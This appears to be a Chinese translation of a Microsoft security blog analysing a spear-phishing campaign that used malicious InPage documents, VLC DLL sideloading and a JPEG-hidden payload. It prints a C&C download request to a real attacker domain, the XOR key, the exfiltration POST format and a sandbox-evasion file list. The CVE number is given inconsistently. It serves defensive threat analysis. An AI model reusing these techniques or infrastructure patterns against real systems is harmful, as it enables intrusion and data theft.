导语:最近,Office 365安全团队发现,有攻击者以特定语言文字(乌尔都语、波斯语、普什图语和阿拉伯语等)的处理软件为目标,进行攻击,该攻击利用了InPage的一个漏洞。由此可见,我们不仅要防范大规模恶意软件活动,还要防范小规模和本地化的
最近,Office 365安全团队发现,有攻击者以特定语言文字(乌尔都语、波斯语、普什图语和阿拉伯语等)的处理软件为目标,进行攻击,该攻击利用了InPage的一个漏洞。由此可见,我们不仅要防范大规模恶意软件活动,还要防范小规模和本地化的攻击。
本次恶意活动的75%的目标都位于巴基斯坦,另外也包含一些欧洲和美国的国家,甚至还包含政府机构。
攻击目标的地理分布
此前,Palo Alto和Kaspersky的研究人员曾分别发表过关于使用恶意InPage文档发动攻击的分析文章。除了他们发布的文章之外,针对这类攻击的公开研究非常有限。
本次攻击是Office 365团队在6月发现的,攻击步骤如下:
1.攻击者发出带有恶意InPage文档的鱼叉式网络钓鱼电子邮件,文件名为hafeez saeed speech on 22nd April.inp;
2.该恶意文档包含CVE-2017-12824的漏洞利用代码,这是InPage中的缓冲区溢出漏洞,攻击者利用该漏洞投放了一个易受DLL劫持攻击的老旧版本的合法VLC媒体播放器;
3.侧载恶意DLL调用到命令和控制(C&C)站点,该站点触发以JPEG文件格式编码的恶意软件进行下载和执行;
4.最后,攻击者可以在受感染的计算机上远程执行任意命令。
攻击流程
Office 365高级威胁防护(ATP)通过检测攻击中使用的鱼叉式网络钓鱼电子邮件中的恶意InPage附件来保护客户免受此类攻击。Office 365 ATP检查电子邮件附件和恶意内容链接,并提供实时防御攻击。
Office 365 ATP利用来自不同数据源的大量威胁情报,并集成来自Windows Defender ATP和Azure ATP等多种服务的信号。例如,Windows Defender Antivirus会检测此攻击中使用的恶意文件和文档。此外,Windows Defender ATP中的端点检测和响应(EDR)功能可检测此次攻击中观察到的DLL侧载和恶意行为。通过在Microsoft威胁防护中集成Office 365 ATP和其他Microsoft安全技术,我们的解决方案可以协调检测和修复。
恶意InPage文档的使用过程
在附有恶意InPage诱饵文档的电子邮件被攻击目标打开后,该文档利用了CVE-2017-12842漏洞,这是InPage中允许任意代码执行的漏洞。当打开恶意InPage文档时,它会进行解密并执行嵌入式恶意DLL文件的shellcode。解密例程是使用解密密钥“27729984h”的简单XOR函数。
第一个DLL解密函数
第1阶段:DLL侧载和C&C通信
解密的恶意DLL包含嵌入在PE资源部分中的两个文件。第一个资源文件名为200,它是VLC媒体播放器的合法版本(产品版本:2.2.1.0,文件版本:2.2.1)。资源部分中的第二个文件名为400,这是一个模仿合法文件Libvlc.dll的DLL劫持程序。
运行时,第1阶段恶意软件会自动删除VLC媒体播放器可执行文件和%TEMP%文件夹中的恶意Libvlc.dll,然后运行VLC媒体播放器进程。
此时,易受攻击的VLC媒体播放器进程会在其加载目录中搜索已删除的文件Libvlc.dll,随后将找到并加载恶意DLL,执行其恶意功能。
恶意Libvlc.dll导出的函数
VLC媒体播放器进程导入的Libvlc.dll函数
Libvlc.dll中最有趣的恶意代码位于libvlc_wait()函数中,恶意代码会动态解析API调用以连接到攻击者C&C服务器并下载JPEG文件。如果无法访问C&C服务器,则恶意软件将调用API sleep() 5秒钟,并试图再次调用攻击者。
恶意函数libvlc_wait()中的C&C调用
如果成功下载了JPEG文件logo.jpg,则libvlc_wait()中的恶意代码会自动跳过JPEG文件的前20个字节,并创建一个线程来执行嵌入的有效载荷,JPEG文件中的代码使用Shikata ga nai进行编码,Shikata ga nai是一种定制的多态shellcode编码器或解码器。
下面是发送到C&C下载恶意文件logo.jpg的HTTP请求示例:
GET /assets/vnc/logo.jpg HTTP/1.1 Accept: */* Host: useraccount.co HTTP/1.1 200 OK Date: Mon, 09 Jul 2018 13:45:49 GMT Server: Apache/2.4.33 (cPanel) OpenSSL/1.0.2o mod_bwlimited/1.4 Phusion_Passenger/5.1.12 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Mon, 09 Apr 2018 07:19:20 GMT ETag: "26e0378-2086b-56965397b5c31" Accept-Ranges: bytes Content-Length: 133227 Content-Type: image/jpeg
嵌入在JPEG文件中的HTTP GET请求
Whois的历史记录显示,C&C服务器于2018年3月20日注册。
Domain Name: useraccount.co Registry Domain ID: D2169366F46A14BCD9EB42AF48BEA813C-NSR Registrar WHOIS Server: Registrar URL: whois.publicdomainregistry.com Updated Date: 2018-03-20T14:04:40Z Creation Date: 2018-03-20T14:04:40Z Registry Expiry Date: 2019-03-20T14:04:40Z Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited Domain Status: addPeriod https://icann.org/epp#addPeriod
攻击者C&C服务器的Whois记录
JPEG文件中的shellcode使用多层多态XOR例程来解密最终的有效载荷,成功解密有效载荷后,它会删除并执行文件夹%ProgramData%\ Dell64中的最终DLL恶意软件aflup64.dll。
Header后面的前29个字节,构成了第一个解密层
有效的JPEG文件头,紧随其后的是加密的恶意代码
第2阶段:系统侦察和执行攻击者命令
第2阶段的恶意软件,则使用了不同的方法,来维护第1阶段形成的攻击性。例如,恶意函数IntRun()可以加载和执行恶意软件DLL。它还使用注册表项CurrentVersion\Run来维护持久性。
总的来说,恶意软件的功能包括:
1.系统监测:
1.1列出计算机名称、Windows版本、计算机ID、正在运行的进程和已加载的模块;
1.2列出系统文件和目录;
1.3列出网络配置;
2.执行攻击者命令
3.逃避某些沙箱检测或杀毒软件;
通过HTTP post请求将收集到的信息或对命令的响应发送回攻击者的域,该请求是一个自定义标头,它始终以37个硬编码的字母+数字字开头。
---------------------n9mc4jh3ft7327hfg78kb41b861ft18bhfb91 Content-Disposition: form-data; name="id"; Content-Type: text/plain <Base64 Data Blob>
恶意软件POST请求的示例
该恶意软件还包含安全产品和沙箱解决方案的硬编码文件名列表。如果这些文件存在于恶意软件试图感染的计算机中,则会退出:
· avgnt.exe
· avp.exe
· egui.exe
· Sbie.dll
· VxKernelSvcNT.log
使用Office 365 ATP和Windows Defender ATP检测目标攻击
依据以往的历史,第2阶段的有效载荷用于是用来窃取凭据和其他敏感信息的,安装更多有效载荷只是为了方便传播。但是,由于这个恶意软件为远程攻击者打开后门通道以执行他们选择的任意命令,因此有各种各样的攻击可能性。
企业可以使用Office 365高级威胁防护来保护自己免受目标攻击, Office 365 ATP通过阻止具有不安全附件、恶意链接并利用沙盒和时间点击保护的链接文件的电子邮件来帮助保护邮箱免受电子邮件攻击。 Office 365中反网络钓鱼功能的最新增强功能可解决从受感染帐户发送的模拟、欺骗、网络钓鱼内容和内部网络钓鱼电子邮件。
此外,企业还可以使用Windows Defender Advanced Threat Protection,它提供统一的终端安全平台,用于智能保护、检测、调查和响应。基于硬件的隔离,受控文件夹访问和网络保护可减少攻击面。 Windows Defender Antivirus会检测并阻止此攻击中使用的恶意文档和文件。 Windows Defender ATP的端点检测和响应、自动调查和修复以及高级搜索功能使安全操作人员能够检测并阻止企业网络中的攻击。